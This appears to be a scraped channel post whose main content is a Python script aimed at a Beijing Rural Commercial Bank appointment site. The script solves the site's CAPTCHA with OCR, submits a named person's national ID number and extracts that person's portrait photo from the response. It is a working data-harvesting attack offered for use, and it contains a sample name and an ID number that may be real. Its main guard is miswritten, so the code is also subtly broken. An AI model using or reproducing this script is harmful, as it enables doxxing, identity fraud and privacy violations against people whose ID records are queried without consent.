1 690
Subscribers
No data24 hours
-147 days
-5130 days
Posts Archive
1 690
import json
import requests, time
import ddddocr
dddd = ddddocr.DdddOcr(show_ad=False)
def get_head(name, idcard):
url = f'https://fhzx.bjrcb.com/VerifyImageServlet?timestamp={time.time()}000'
response = requests.get(url)
cookies = response.cookies
code = dddd.classification(response.content)
url = 'https://fhzx.bjrcb.com/VerifyImageServlet'
headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'User-Agent': 'Mozilla/5.0',
'X-Requested-With': 'XMLHttpRequest',
}
data = {
'verifyCode': code
}
response = requests.post(url, headers=headers, data=data, cookies=cookies)
ret = json.loads(response.text)
if not ret.get('result'):
print('error')
return
url = 'https://fhzx.bjrcb.com/appoint/querypersonLiveCardInfo.jhtml'
data = {
'holdStatu': '01',
'idenName': name,
'idenNo': idcard,
'validateCode': code
}
response = requests.post(url, headers=headers, data=data, cookies=cookies)
res = response.text
index = res.find('data:image/png;base64,') + len('data:image/png;base64,')
index1 = res.find('" style="border:')
head = res[index:index1]
print(head)
if name == "__main__":
'''
江苏人民万岁
@yl3333 '''
get_head("丁一", "130104198004251365")
